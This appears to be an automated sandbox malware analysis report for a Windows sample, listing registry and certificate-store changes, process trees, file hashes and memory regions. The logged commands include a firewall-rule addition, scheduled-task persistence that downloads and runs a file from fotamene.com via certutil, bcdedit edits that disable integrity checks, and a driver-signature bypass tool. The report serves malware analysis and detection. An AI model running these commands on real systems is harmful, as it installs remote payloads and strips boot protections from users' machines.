0403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.execsrss.exepid process 1160 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe 532 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe 1640 csrss.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 460 -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.execsrss.exedescription pid process Token: SeDebugPrivilege 1160 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Token: SeImpersonatePrivilege 1160 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Token: SeSystemEnvironmentPrivilege 1640 csrss.exe -
Suspicious use of WriteProcessMemory 58 IoCs
Processes:
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.execmd.exepatch.execsrss.exedescription pid process target process PID 532 wrote to memory of 1800 532 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe cmd.exe PID 532 wrote to memory of 1800 532 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe cmd.exe PID 532 wrote to memory of 1800 532 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe cmd.exe PID 532 wrote to memory of 1800 532 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe cmd.exe PID 1800 wrote to memory of 1420 1800 cmd.exe netsh.exe PID 1800 wrote to memory of 1420 1800 cmd.exe netsh.exe PID 1800 wrote to memory of 1420 1800 cmd.exe netsh.exe PID 532 wrote to memory of 1640 532 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe csrss.exe PID 532 wrote to memory of 1640 532 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe csrss.exe PID 532 wrote to memory of 1640 532 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe csrss.exe PID 532 wrote to memory of 1640 532 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe csrss.exe PID 1496 wrote to memory of 1760 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1760 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1760 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1772 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1772 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1772 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 556 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 556 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 556 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1972 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1972 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1972 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1216 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1216 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1216 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1576 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1576 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1576 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 428 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 428 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 428 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1092 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1092 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1092 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1420 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1420 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1420 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 980 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 980 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 980 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 568 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 568 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 568 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 2024 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 2024 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 2024 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1068 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1068 1496 patch.exe bcdedit.exe PID 1496 wrote to memory of 1068 1496 patch.exe bcdedit.exe PID 1640 wrote to memory of 1988 1640 csrss.exe bcdedit.exe PID 1640 wrote to memory of 1988 1640 csrss.exe bcdedit.exe PID 1640 wrote to memory of 1988 1640 csrss.exe bcdedit.exe PID 1640 wrote to memory of 1988 1640 csrss.exe bcdedit.exe PID 1640 wrote to memory of 1400 1640 csrss.exe dsefix.exe PID 1640 wrote to memory of 1400 1640 csrss.exe dsefix.exe PID 1640 wrote to memory of 1400 1640 csrss.exe dsefix.exe PID 1640 wrote to memory of 1400 1640 csrss.exe dsefix.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe"C:\Users\Admin\AppData\Local\Temp\39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe"C:\Users\Admin\AppData\Local\Temp\39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 05⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 15⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 05⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe4⤵
- Executes dropped EXE
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20230129193302.log C:\Windows\Logs\CBS\CbsPersist_20230129193302.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeFilesize
94KB
MD5d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.9MB
MD5d2953d9b8f72ed45bf0b493c2fdc6b03
SHA14e5eded5b11877e20251aa2c4f63a7b001cb0142
SHA25639245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435
SHA512ca1dc47ead2c3dfea0fd4d431ab87fb3f4a4d68522a55f1cae18a6440e6d301e1f7268bad9503c8f4ddfeb50b579c6fd7715f2d576d09c786339cc8c108534f0
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\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeFilesize
94KB
MD5d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.9MB
MD5d2953d9b8f72ed45bf0b493c2fdc6b03
SHA14e5eded5b11877e20251aa2c4f63a7b001cb0142
SHA25639245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435
SHA512ca1dc47ead2c3dfea0fd4d431ab87fb3f4a4d68522a55f1cae18a6440e6d301e1f7268bad9503c8f4ddfeb50b579c6fd7715f2d576d09c786339cc8c108534f0
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\Windows\rss\csrss.exeFilesize
3.9MB
MD5d2953d9b8f72ed45bf0b493c2fdc6b03
SHA14e5eded5b11877e20251aa2c4f63a7b001cb0142
SHA25639245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435
SHA512ca1dc47ead2c3dfea0fd4d431ab87fb3f4a4d68522a55f1cae18a6440e6d301e1f7268bad9503c8f4ddfeb50b579c6fd7715f2d576d09c786339cc8c108534f0
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memory/428-93-0x0000000000000000-mapping.dmp
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memory/532-63-0x0000000000E10000-0x00000000011B8000-memory.dmpFilesize
3.7MB
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memory/532-64-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
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memory/532-58-0x0000000000E10000-0x00000000011B8000-memory.dmpFilesize
3.7MB
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memory/532-69-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
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memory/556-89-0x0000000000000000-mapping.dmp
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memory/568-97-0x0000000000000000-mapping.dmp
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memory/980-96-0x0000000000000000-mapping.dmp
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memory/1068-99-0x0000000000000000-mapping.dmp
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memory/1092-94-0x0000000000000000-mapping.dmp
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memory/1160-54-0x0000000001180000-0x0000000001528000-memory.dmpFilesize
3.7MB
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memory/1160-55-0x0000000001180000-0x0000000001528000-memory.dmpFilesize
3.7MB
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memory/1160-57-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
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memory/1160-56-0x0000000001530000-0x0000000001D34000-memory.dmpFilesize
8.0MB
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memory/1160-59-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
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memory/1216-91-0x0000000000000000-mapping.dmp
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memory/1400-102-0x0000000000000000-mapping.dmp
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memory/1420-95-0x0000000000000000-mapping.dmp
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memory/1420-62-0x000007FEFB941000-0x000007FEFB943000-memory.dmpFilesize
8KB
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memory/1420-61-0x0000000000000000-mapping.dmp
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memory/1496-76-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/1496-82-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/1576-92-0x0000000000000000-mapping.dmp
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memory/1640-73-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
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memory/1640-72-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
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memory/1640-71-0x0000000001010000-0x00000000013B8000-memory.dmpFilesize
3.7MB
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memory/1640-70-0x0000000001010000-0x00000000013B8000-memory.dmpFilesize
3.7MB
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memory/1640-67-0x0000000000000000-mapping.dmp
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memory/1760-87-0x0000000000000000-mapping.dmp
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memory/1772-88-0x0000000000000000-mapping.dmp
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memory/1800-60-0x0000000000000000-mapping.dmp
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memory/1972-90-0x0000000000000000-mapping.dmp
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memory/1988-100-0x0000000000000000-mapping.dmp
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memory/2024-98-0x0000000000000000-mapping.dmp